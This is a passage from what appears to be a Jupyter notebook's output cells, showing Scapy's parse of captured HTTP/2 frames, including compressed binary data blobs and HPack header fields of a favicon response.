9dQ\\x1f\\xcb\\xb0\\x13\\x91f3=\\xbbU\\x0e\\xc28\\x83MI\\x13ao$\\xddz\\xc9\\xc2`)f\\x86\\x91\\xddn*\\x1e5\\x91\\x9b\\n\\x91\\xc6\\xb3\\xe9.\\x1dV\\x89\\'4\\n\\x83d\\x96#\\xe9\\xa6\\x1f\\xb8K\\x15~\\xfc5\\xecw\\x9f\\xe5\\xcdd<\\x8dB_9\\xf4,\\x7f\\xba\\xd0\\xed\\xd6\\xca`*$\\xaa\\xe7\\xd6\\xec,\\xe5!*\\x7fF] \\x82\\x08n#\\x0fc\\x04\\x12\\xdc\\x84\\xbeX\\xcetM\\xfbq\\xf3\\x8f\\x98\\xf9!U\\xc0\\x80k \\xd7\\xdbK\\xb7c\\x9a\\x07ar\"W4\\xeb\\x8fYl\\xafX.B\\xb0v\\xb5V`XI\\xbc\\x00\\x97\\x11\\xb3\\x88-\\xc4fC\\x91\\x91\\x8a\\xbf\\xa3\\xb5\\x14\\xccg^\\x9aKG\\x98\\x15`\\xb4<\\n\\x13\\xd6\\x92~\\x87@\\xd6\\xaf\\xb3CM\\xf3\\xda\\x180\\x14*\\xedq\\xdf7\\x991\\xddCY\\xec\\xa0@\\xf1\\xd1\\x1e\\xff\\x01L,M[Y\\xd8M\\xfd;U\\xf8*U3\\xb5\\xbf,m\\xbc\\xa0q\\x18\\xdd\\xcdh\\x1e\\xd2H\\xe54\\xe1\\'`\\xbap\\xb1A\\xdcu\\xa9\\rPl\\nZ\\x00yoN\\xeef\\xe04)\\xe4\\xa4\\xc3 \\rj\\x0b\\xcf\\xc0E\\x14\\x13\\xfei\\x1b\\xe1\\xafQ\\xd4\\x93J\\xa7}\\x93\\xc5\\xb0L\\xea\\xcdceoH\\x07\\x7f\\xd8@^\\x8e\\xabYj7144\\xeb\\xb2\\x16i8\\xf16\\xfd\\xeb\\x96\\x8e6}\\xc1\\x91W=\\xb7\\x86\\x1d\\xb5\\xcb\\x00ZD3\\xcef\\xf5\\xc7\\x86\\xc5\\xa5\\x9c7\\xe5\\xacn\\x1a\\xf9\\x95\\x0b\\xa1Jf\\t,\\x80F\\x1b\\x88\\xd4\\xa2\\xf1\\x83q\\xe3.#k\"}\\x8c/BU\\xa2 \\xe5LGQ\\x1f(\\x0c\\xb1x\\x850}\\x14\\xc1\\xe7k?\\xe4\\xb09\\xeffa\"U\\xe1\\xa6\\xb7\\xf6~\\x17\\x04\\x90\\xab\\xca\\r\\xa5^5e\\xb4\\xf5K\\xf4\\xb6\\x19\\xb47a\\x92\\x15b\\xc7\\x82a\\xb2\\x84i\\xda\\x9ee\\xc8\\xdf\\xe1\\xae\\x97\\xe9\\xfa\\x8e\\x97I3\\xbb\\xd4\\xbb\\n\\xf2\\x14\\x1cuv\\xb8X,\\xec\\x12\\xd5\\x85(r\\xb5\\xa1-B{\\xdf\\xb5\\x13\\xc8\\xd7\\x1b:[\\xa2{\\xa8tF!r\\xae\\xd8\\xd77\\xc0\\xa6\\xbf\\x88\\x14\\xda\\xb6,\\x9d\\xadB\\xd8\\xb2\\xcc\\xaf;\\xc7c\\x9d\\x9a\\xee\\xdf\\xdbO\\x12kX\\xce\\xfe\\x00K.\\xed0\\xc0\\xf3\\xa9\"\\x95Q\\xe1U\\xf3\\x80\\x98;;\\x89\\xbb\\x91\\xb7nG\\xb91\\x1a\\x1e{a\\xc1\\xb5\\x89vlc\\xa0mv\\xec\"#e+<\\xc9\\xf8\\x14q\\xd7\\xddQ0c\\xcc.\\xbduV\\x066@\\xb3\\xb7\\xee\\x8b\\x8b\\xf3<O9\\x84cX\\xf5\\x03M\\xbb\\xf2\\xcd\\xa1\\xd6\\xf0\\xdcY\\x14hVD\\xea\\xe1\"\\x8aZ\\xcb}\\xcc\\xa34E7*\\x16\\xedU\\x15P\\xc1\\xd5g\\xee\\x84\\xae\\xe6P\\xe5\\xa4\\x86a\\xe1q\\xba\\x07\\x1ex\\x02\\x873\\x10\\x172\\x0b\\xa3\\xe2\\xa4^\\xae\\xd4\\xb1\\xdd\\xecL\\xcd\\xf6\\x8a\\x9c\\xc3w\\x96\\x86p\\x8c\\xcf\\xdbk\\xb6\\xb7\\x91\\xa4\\x10\\xb8*\\xf8*\\xb7\\xca\\xf8\\x91\\xad\\xf2X\\xcc\\xc5\\x15\\xd7\\x0e\\xd6V\\'(G\\xee\\xde\\xd9\"\\xf5\\n\\xbe\\xae\\xd9K\\xf3o\\xc3_\\x95\\xe8\\x9a\\x8c\\x078W\\n\\xa6\\xdeG\\xae\\x1a\\xa00\\xf7\\x0bO\\x0cB/m\\xee\\x1a\\xa2\\xd4\\xcf\\xfa\\xd0A@\\x07\\x91C\\xf8\\x12\\xfc\\xc6+\\x84\\x02]\\t\\x01\\xbe\\xe55\\x08n&\\xc5\\r\\xa4F\\x1c\\x82>F\\x1e\\xbde\\xc0\\xdc\\x8fE\\xe6\\xd1WT~$K\\x8a\\x90q(\\xbdi\\xc4\\x99\\xed\\x83l1\\x1c=\\xfa8CU\\x1a+\\x8e\\xf2\\xf0\\xe2\"Q:\\x1d\\xa5\\xfe\\xeeb\\xb9\\xa1t\\x1b\\xe2r\\xb2\\xde\\xba\\xa9\\xc9\\xbb=Y\\xeb\\xc2?{\\xf3\\x03\\xa2\\x1e\\xe0\\x9cP_\\xd7\\x14\\x8bNg\\xfb\\xdd\\xbf\\xeeK\\x1d\\x03\\xdb\\xa63p\\xaf\\xdb8\\xd8l\\xa1m~\\x80?xn\\xdc*\\xde\\x0fWJ\\x085g\\x9c\\x04.9S\\xea6&\\xd4\\xb3\\xd3$u\\xe1\\xd7U\\xbc\\x88r\\x0e}\\xfa\\xd9?\\x99\\x07Q\\r\\xfe\\x9d\\x0e\\\\\\xc0\\xa6\\xdb\\xa1\\xcaz\\xe5\\xf1j0\\xb8\\xb9iJ\\xf9E\\x0ej\\r\\x96\\xd9\\x93%TsyGP\\x17j3r&%\\xe6\\xa7\\x03\\xfaM>1$\\x8d\\x16#l\\xb6\\xf9D\\xe4\\xecW\\xe8\\xfa\\x1e\\x17\\xdc~5\\x17/\\x8d\\x07m\\x16&9{\\r\\xc3\\xdfc\\x81\\x02\\xdd\\x817\\x17n\\xc5\"\\x88\\x9c\\x9f\\xffY\\xb2\\xd0\\xc9\\xd9\\xbf\\xd3\\xe2-\\x0c}\\x8f\\x0b\\x98\\xba-Nr\\xc3w\\xf5\\x02\\xce\\xfb\\xd4\\x13\\x05l3\\xf1\\xe5o\\xe8&\\x8c\\xdaRa{\\xf0D\\xf2\\x89\\xc9\\xd9sl~\\x8f\\x85\\x9f\\xc3\\xfe\\xdd\\xd1\\x8c$O\\xc9\\xd93\\x1cyH.7py\\xa5\\xb8\\x1f\\xdd\\xc9\\xb7] \\x11\\xd1\\x00`\\x9a!\\x01\\x1f\\xc0N,@\\xf1\\x05HY\\x9c)\\x9d\\x9c^\\x17\\xa9\\x8d\\xf3\\x9d\\x0eJ\\xb7\\x1b\\x80+6\\xfe)\\x0bXE\\x16\\x01\\x0e\\xd6\\x8c\\xb5o\\xf2\\x8c&\\xa5\\xbf&\\xcd\"C\\x8c+\\xd0\\xdf\\x1e]4\\xa3\\x8bGFY\\xd3G[2<\\x10\\x01\\x0e\\x17\"\\xcd\\xefP\\x04p\\x84\\xd2l\\xa4a<:{!\\xc7\\xc3\\xeb\\x82)\\xef\\x99+uw\\x8f\\xda\\xab\\x03[\\x06\\x80\\xe5,\\xf1\\x18\\x7fH\\xfc\\x9a\\xe64\\xfe\\x1f\\x91W[B\\x12\\n\\x08\\xd2L8s\\x88\\xb7\\xe5B\\xe7SmO\\xc9\\xd4\\xf3 \\xee\\n\\xde\\xb6\\xe1\\x1b\\x96\\xafB\\x8f\\xbdL!\\xc2W\\xce\\x95\\xc14`OG\\xe4\\x05\\xeb\\xe0\\xadn\\x98\\x14\\xccy\\xdcR\\xedU\\x9d\\xa7I\\xc2n\\xc1`\\x8f[\\xa6F\\\\V~!\\xd3\\xae\\xf6-\\x8c\\xb2\\x90\\xafQ\\x94\\n\\xd3c\\x98\\xa0 \\xd4\\xc0\\x19,\\x82\\x93\\x93C\\xe00@d`\\x8a\\x82\\xcc\\'\\xdb8\\x15\\x05\\xb4jU\\x9eX\\x97\\x9d\\x86\\xacw\\x15H\\xf9\\xbb\\xe3uu\\xabkM\\x15iL\\'\\x98\\xe2\\x1f\\xcf\\xb6{7\\xdc\\x98\\x05\\xb6\\x97\\xdc\\xd8\\x9a\\xdf,\\xa1@\\x9ao\\xc9\\xab\\xfbncj\\xdcZFy\\xe5\\xddS\\x92\\xf4\\xa4\\xcc\\xceD\\x91\\xb7\\xdb\\x0e)/\\xbb\\x89\"S(\\x08\\x02\\xaa*%\\\\f\\xc8\\x96(\\xd5\\r\\x0bi\\x0e\\xaeQ\\xa7\\x03?\\xdd\\xde\\xae@U~\\x9fN\\xa7\\xed\\xdafR\\x97:\\xed\\xba\\xba9~A\\x92\\xa4\\x98\\xa9\\xe5\\xf1k\\x8a\\x9a\\x90\\x962\\xb0r&\\xb0\\xd6\\x9b\\x9cf\\x0e!g?\\x83\\xf0\\x1e\\xab\\x8c\\xd2\\xfe\\xdd\\x9a\\x1dO\\x08\\n\\x95i\\xce\\xa9\\x8f\\xb9\\xc0\\x82\\xc6\\xb04L\\xaf\\x10?\"\\xa6x,\\x8a*\\xcb8D#\\xb2\\r;\\xcc\\xab\\xda\\x80\\x96+\\xabJ\\x13\\xb0&\\xec\\xf0\\xab\\xedM\\x8c\\xf1\\x8f\\xe4\\xac\\x93\\xb8<\\x83x |9T\\xa1\\x96~\\xd2^\\xf1\\xa9,\\xbc\\xab\\xf9CP/p\\x05\\xcf&\\x97o^\\x9d\\x98\\xe6\\xd8:\\xd1\\xc1\\x00\\xe5\\xfbI\\xe8\\xfb,i(*<\\xdc\\x84%\\xf12\\xfa\\nf9\\xcc\\xd3\"\\xf7\\xd8\\x1eJ\\xcde\\x99\\xeda\\xbb\\xe1\\xcd7\\xb9\\xb9\\xe1\\xf2\\xc1\\xf8v\\xbb\\x10\\x9f\\x93=\\xff\\x1dn\\x0f\\xc3x\\xdeP\\xb4\\x86\\xe1\\xae[`\\xd9\\xd7\\xd4v\\xf5\\xde\\x18\\xd7\\xc7A\\x05\\xdd\\xe4a1\\x07NY\\xe0\\xddg\\x9c\\xe1=\\x9eCR(\\x94\\xea\\xa5@)\\xd7\\x88\\xd9\\xf8rS\\x06(\\xb5W\\xc7\\xf46bI \\xed\\xa7\\x8d\\xccZ\\xa9\\xd7 \\x07\\xf8\\xa7C\\xc6S\\xb2\\xf5\\xa5z\\xcd\\xed\\xe3\\'\\n$#\\xf2V\\x05\\xbb\\x1dXd7Bo\\xfb\\x9a\\xc5=\\\\S\\xa5j\\x91<\\xafu\\xcd\\x0b7\\x0e\\x05i\\xc2};\\x13\\xfc_\\xe7\\xfd\\xe5\\x88\\x86\\x8a\\xcf\\x94\\x88\\xe2\\xebZ\\xe2\\xb5\\'\\xbe\\xc4]\\xedE\\xa1w\\x05\\xce\\xb9\\x90\\xd7S}\\xdc@P\\x93I\\xea\\x9e\\xec\\x815{W\\xccwt[aP]*`\\x91\\xe6\\xda\\njR?M\\xfd\\x08\"\\xd3\\xd1w\\xa4\\xa8\\xf7J\\xb5F8\\xda\\xe1qi/\\xe04;gg\\xb75yo@\\xfd\\x15\\xca\\xe0\\xcf\\xab\\x0b\\xac2}\\xd08\\xb3\\xeb\\xf7\\t\\x07,\\xb5\\xd55E\\xf4/\\xb2P\\xd82\\xc1\\xf7\\xc8\\x02\\xa2)$\\xae4\\xe2_\\xe1\\xf1\\xaa\\x10a\\xc4\\x15\\xf0\\x81\\xa0\\x80\\xc4\\x89i\\x93\\x97Y\\x06\\xe5\\x18\\x08\\x8c82\\x98\\xd4\\xba\\xc7X\\x19\\xb8\\xabZ\\xbd\\xf2\\xf3\\xd1\\xdd\\xa8\\xa3jP\\xcd\\xdb\\xb4\\x817\\x1e\\x1c\\xf3\\x1ei\\'\\xa7\\xca\\r\\xb7a\\xd4\\x1c\\xfeh\\xc7p|\\xac7\\x1d^8\\x91v\\xf4\\xabk\\x06\\xa0I1\\x12}\\x85\\x0f$\\x1b\\xb1;V\\xedI\\xdd\\xc2\\xe3\\x15l\\xb6\\xf6u[\\x1d\\xd5$_\\xc8{-M\\xd6U\\x13\\xf5\\xb1bz\\x83whX=)Y\\xe1\\x82W\\x85\\x82\\x86U\\xc1\\xb0%\\xe1e\\xf6\\xdf\\xc5\\xf7\\x8f`\\x0eHHy\\xc8wm\\xb5\\xad\\x90\\x8b\\x9d\\x1aB\\xd7&\\x96\\xa6\\x8f\\xcc\\x89i\\xe2\\x83\\x98\\xa1\\x19\\xa6aT\\xa7-99_\\xa2\\xf8\\xc7\\xf5\\x13.}l\\xd1.\\x94I}|x&g\\xff\\xad\\xe0\\x03p\\xcaq\\xa7<B\\xf3x%\\xc2\\x99\\xc0\\x9a\\xc9O\\xa1\\x94M\\x9eT\\x9f\\xce\\xbb7\\xd2\\x97x\\x188\\xf3\\xf9\\xab\\x17\\xc9\\xafo/\\xce\\xaf\\xae\\xf4_\\x9f\\xaf\\xfex\\xf3\\x9f\\xc1\\xf3\\xd1s\\xfdi\\xfc\\xe2z|\\xf9\\xe3\\xf0Y\\xa5S\\x06\\xb1\\xbdzlF\\xe1J/ke\\xb7l?\\xb7N\\xf0O+\\xbd\\x9ahN\\xa8\\x9b\\xb2;[14}\\xa2\\x9c(\\x0f\\xc5\\xcdR4\\t(\\x1e\\xb4\\xbc\\xa2\\xde\\x1d\\x18\\x00\\xca\\xa7E\\x08\\xae)BY\\xd1\\xcb\\xca\\xee\\x9b\\xa4\\xe0\\x071/\\t}\\x99\\xba\\xab-\\x91mwy]+}\\xef\\xb5\\xbc\\xef\\xf9\\xa9\\xd3\\\\\\xc5\\xaae\\xe9\\xa3m\\xec\\xfd\\x83osS\\x1eB\\xa9\\x97\\xbfG4\\xd5\\xdd\\xe9{!y\\xe0U\\xf9\\x01\\xbd\\xbf?p{\\xe5]y\\x85R\\x1f6U\\xd0\\xf4\\xf9\\x9b7\\xfa9\\xa4\\x11({\\xf0z\\xdc\\x93\\x9f\\xbf\\xa6>{\\xe25x\\x17\\x11C0\\xf3\\xe4\\xe1Y\\xa5\\x8e\\xdf\\x87\\x08\\t=\\xf5\\xd4u\\xbb\\x9a\\x96v:n\\xa7\\xd3\\xa5\\x07\\xceV\\xae\\xbe\\x94\\xe6\\xfe\\xde\\xdd\\xe9,e\\xdd\\xbe\\x88@Y\\xd5%D\\xc5\\xbf\\x83\\x92%\\xbe\\xbb<\\xe9T\\x8f.\\x90\\xa3\\xabW\\x17\\xc8\\xc6\\xf2\\xd5e\\xf7\\xed\\xe7\\xea\\xe2\\xb2\\xb7\\xf7\\xb2\\xf0\\x95\\xc3\\xf3\\xed\\'\\xee\\x93\\xbd\\x13\\x0bv\\x86\\x8f_7\\xd4\\x9f\\x8a\\xd7u\\x1b\\xa3\\xf1\\xf2\\xa5\\x0fv\\xccC\\x035\\xe7y/\\x87\\x8a\\x92U\\x1a\\xec\\x92\\x927\\xe9\\xd9T\\xde\\x1b\\xb8\\xad{\\x00V\\xeb\\xf9\\xa7\\xbbK\\xbf[\\xae\\xb0\\xd7\\xa7Y\\xc6\\x12\\xff|\\x19F~\\x97\\xf66\\xaa\\xd6\\xdbT\\xc2\\xfa\\xd1\\xa7l\\xfb\\xd6\\xe2\\xaa\\xb4yk\\x01\\xd2\\x02X{H`o\\xb1\\x1doO7_wD\\xe0\\x90\\xc7\\xf8\"$\\xd5\\x07nT\\xbf\"\\xf5\\xea\\x8f\\xfe\"\\xcc\\xb9@\\x14t\\xb2-Y\\xc3i^{\\xdb\\xfc\\xfe~\\xdd\\xbc1\\xce\\xfb\\xf3gE\\x9c]\\xdczL\\x9e*\\xb7\\x02\\xb0\\xdeZ,\\xf3\\xf4Fa\\x9b\\xd6\\x84\\xf8\\x86\\x96\\xf3\\xc6?\\xca\\xa6|i\\xea\\x8bF\\xde\\x9d^\\\\D\\xc4\\x9d\\xfaA\\xb6\\xdbz\\x91\\xb5\\xdb\\xaa\\xeb\\x1e\\r\\x00s0\\x1f\\xc0\\xcf\\xd5\\x9f\\xb7C\\x1fZ\\xfde\\xd6g\\xc9\\xfc\\xdd\\x9b\\xfe\\xfb\\xdf\\x86\\x7fdo>\\x9f\\xfc\\xf4\\xdc\\xec\\xbf\\x1a\\xc48\\xce\\xdd\\xf9\\x92\\xa9\\xfe \\x17\\xd8\\xfa4\\xf0\\x11\\xe8\\x03\\xd9\\xfa\\xecA\\x0c\\xc89~>=\\x7fki\\xe9\\xf3\\x95\\xff\\x82N\\xdf\\xbe4\\xde\\xcf/\\x7f\\xffC\\xe7\\xe3\\x9f^\\xdf\\xfe\\xfb\\xf2\\x05{\\xb7Z\\xfe~\\xa4\\xfe\\xffM\\xdd\\xb3\\xb7\\xa6\\x82\\xea\\xa5VH\\x16{\\xce\\x9a\\xc8i\\xc8lM\\xa0\\x10H\\xc8\\x0cO\\x9e*\\xf1\\xda\\xdfrK\\x92\\x19\\x96\\xb8y\\x94\\xa6\\xf1\\t\\x94\\xd1*\\xf1\\x975\\x82\\xbf\\xbc\\x16\\xcd7\\x07D\\x18]Du\\xcf2\\xe5H\\xdcd\\x0b\\x18\\x0c\\xb9\\x0b\\xc4\\x86\\xa9\\x92O4&\\x10\\xf4\\xc8\\'\\x9e&YM\\x11\\xc5\\xf5W\\xcc\\x03\\x8eK\\xf3B\\x17\\xf8\\x91\\x8b\\xc5\\x82z,\\xc7\\x12.\\xaf+\\x1b\\\\\\xc9]\\x8c\\x83\\x9c\\xd3;\\xf6\\x19*\\x1d\\xe6\\xc19F\\x08\\xa6\\xa4\\xb9X\\xa6\\x01\\xd4QP\\x00\\xcd\\x001\\xf2\\xae\\xee\\x00\\xf3\\x97?\\x0bM3&\\x87C\\xcb\\xde/\\tqr9S\\xa2p\\xbaJ\\xc3\\\\\\xc1\\x84\\x0b\\xdd)\\xbfB)\\xaab\\x08h8\\ry\\x88\\x04\\x19li\\x189\\x973\\xf2\"\\x80\\xc3\\xa9\\x0c\\x1aTqAo\\xca\\x17\\xf1\\x05z3\\xc85\\xf1\\x17\\x86\\x84\\xab\\x14\\x12\\xbc\\x82K\\x18\\x9eW\\t\\xe6OR\\xdfY\\xfcI\\xe4\\xc0\\xc5r\\xe7\\x8a\\xa2D\\x1e\\xd0r\\xac_N\\x8a\\xcb|S2f\\xa8T\\xee\\x86\\xb8\\xc2m\\xc9\\x97\\xe1]\\xa8\\xfc\\x7f\\\\0\\x88\\xa7\\xbf\\xd9\\xc3\\xda{\\xa3\\x92\\x04MV\\xaa;]\\xe5\\xa0m\\xe8\\xcb\\xaeK+\\xc2\\xe2\\xe0T_\\x8d\\xe6\\x0b@\\xfc\\xf0\\x11\\x98y\\xd0\\xa7k\\xf8\\x01\\x8e3\\x06(\\xd2+ XY\\xcb\\xc4\\xba\\xf8\\xed\\xf5\\xbf\\x8c\\xf3k\\xfd_\\xcf\\x9e\\x16\\x93\\xc2\\x1fO\\xde~\\xbe\\xba\\xfb\\x1d\\'\\xf2\\x91\\xf7\\xf6\\xf5\\xba\\x8c%\\xe5\\xfbp+$m\\xa3@\\xcc\\xfcf\\xb3\\xc3w\\xf7(LB\\xb1\\xf5el\\x9579w\\xdd\\xa6S\\xe2U\\xba\\x04\\xd4\\xcd\\xa6\\x1d\\xc7>5\\x11\\xe5\\x13\\xec\\xbaV\\xe36|,\\xbc\\xb7\\x86!\\x00\\xdb\\xf2U\\xb0\\xbe\\x0f/\\x8b\\x12L\\x8cx\\x89\\x8d\\xff\\'\\xf0\\x7f\\x01\\xa9\\x9a\\xd7%#(\\x00\\x00'\n",
- " padding = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n"
- ]
- },
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- "\n",
- "###[ HTTP/2 Frame Sequence ]### \n",
- " \\frames \\\n",
- " |###[ HTTP/2 Frame ]### \n",
- " | len = 0xe1\n",
- " | type = HdrsFrm\n",
- " | flags = set(['End Headers (EH)'])\n",
- " | reserved = 0L\n",
- " | stream_id = 3L\n",
- " |###[ HTTP/2 Headers Frame ]### \n",
- " | \\hdrs \\\n",
- " | |###[ HPack Dynamic Size Update ]### \n",
- " | | magic = 1\n",
- " | | max_size = 12288\n",
- " | |###[ HPack Indexed Header Field ]### \n",
- " | | magic = 1\n",
- " | | index = 8\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 59\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 11\n",
- " | | | data = 'HPackZString(Accept-Encoding)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 26\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 3\n",
- " | | | data = 'HPackZString(gzip)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 31\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 9\n",
- " | | | data = 'HPackZString(image/x-icon)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 33\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 22\n",
- " | | | data = 'HPackZString(Thu, 08 Dec 2016 06:23:59 GMT)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 36\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 22\n",
- " | | | data = 'HPackZString(Fri, 16 Dec 2016 06:23:59 GMT)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 44\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 22\n",
- " | | | data = 'HPackZString(Thu, 08 Dec 2016 01:00:57 GMT)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 0\n",
- " | | \\hdr_name \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 16\n",
- " | | | data = 'HPackZString(x-content-type-options)'\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 5\n",
- " | | | data = 'HPackZString(nosniff)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 54\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 3\n",
- " | | | data = 'HPackZString(sffe)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 28\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 3\n",
- " | | | data = 'HPackZString(1494)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 0\n",
- " | | \\hdr_name \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 12\n",
- " | | | data = 'HPackZString(x-xss-protection)'\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 10\n",
- " | | | data = 'HPackZString(1; mode=block)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 24\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 16\n",
- " | | | data = 'HPackZString(public, max-age=691200)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 21\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 5\n",
- " | | | data = 'HPackZString(472252)'\n",
- " | |###[ HPack Literal Header With Incremental Indexing ]### \n",
- " | | magic = 1\n",
- " | | index = 0\n",
- " | | \\hdr_name \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 5\n",
- " | | | data = 'HPackZString(alt-svc)'\n",
- " | | \\hdr_value \\\n",
- " | | |###[ HPack Header String ]### \n",
- " | | | type = Compressed\n",
- " | | | len = 28\n",
- " | | | data = 'HPackZString(quic=\":443\"; ma=2592000; v=\"35,34\")'\n",
- " |###[ HTTP/2 Frame ]### \n",
- " | len = 0x5d6\n",
- " | type = DataFrm\n",
- " | flags = set(['End Stream (ES)'])\n",
- " | reserved = 0L\n",
- " | stream_id = 3L\n",
- " |###[ HTTP/2 Data Frame ]### \n",
- " | data = '\\x1f\\x8b\\x08\\x00\\x00\\tn\\x88\\x02\\xff\\xbcX{PTU\\x18?\\xa6\\x8d\\x89\\xa5\\xf4G\\xff5\\x13\\xf60\\xffh\\xcc1\\x11\\xc7L\\xb3\\x07>\\xffp\\x94\\x10L\\x1b\\xd3L+kF\\'\\xb5\\x19\\xc7Rg\\xc2\\xb4@KtD _\\x91\\x80\\x8e\\x82\\x8a\\xa8\\x83\\nhI\\xa9\\xa8\\x08B\\x98\\xaf|\\xdf]`\\xc1}\\xb0{\\xf7;\\xbf\\xe6\\\\\\xeee\\xee\\xde\\xbd\\x97\\xdd\\xb5\\xb53\\xf3\\rg\\xcf\\xfd\\xbe\\xefw\\xcew\\xbe\\xd7\\x81\\xb1n\\xec1\\x16\\x1b+\\xfe\\xc6\\xb1y=\\x18\\xeb\\xcf\\x18\\x8b\\x8b\\xeb\\xf8\\x9d\\x1f\\xcbXF\\x0f\\xc6\\x060\\xc6b\\xc5:\\xebXWF\\x0f\\x16r\\x00\\x18DD\\x1b\\x89\\xa8\\x81\\x88\\xbc*\\xd5\\x13Q&\\xe7|\\xa0\\x95\\x1c\\xe7\\xbc\\x17\\x11e!\\xc4 \\xa2\\r\\x00\\x9e0\\x91\\xad\\x10\\xdf}\\xe4\\xc5\\x81\\xbfvb\\xf1\\x91\\x19H\\xd95\\x1c)\\x85\\xc3\\xb1\\xf0P*v\\xd7\\xe5\\xa2]vk:\\x8e\\xebuh\\xb8v\\xd7},(M\\xc1\\x94\\xfc!\\xa6\\x94\\xb17\\x05\\xdcq\\xafs\\x1f\\xday\\x15\\\\\\xbf\\x17\\x0bJ\\xa7*|\\x02s\\xfb\\xf9\\x1fQ{\\xff\\x0c.I\\xd5(\\xac\\xcdF\\xd6\\x8e\\xf1p\\xa4\\x8d\\x86;w.\\xc0\\xb9\\xa2C\\xd8\\x83\\x886\\x89\\xf9\\xeaKg1\\xa1p,\\x92\\x0b\\x87\\xa1N\\xaa\\x0e>\\xf7\\x9d\\x068W%\\xc2\\xf9\\xed[\\xf07\\x9c\\xd0\\xf6\\x90ID\\x8db\\xfe\\xca\\xc9V<]\\xd6\\x84\\xf4\\x0bE\\x96\\xb6k\\xdf\\xb3R\\x91o/I\\xd7\\xe4\\xc5\\xbd\\xf8\\xc4<\\xe6\\xa8\\x8c\\xc7\\xcbd\\x94\\xd8x\\x80\\x8c\\xe07\\x92\\xe7\\xd7E\\x9a\\xbcW\\x93\\xef}\\xacC\\xfe\\xa0=\\x0c\\xf9\\xc2\\xa5z\\xf9\\xcbb\\x1e\\xff\\x87\\x1f1\\xfb\\xbc\\xf8\\xec\\x177\\xc2\\x1d\\xaa\\x8f)w\\x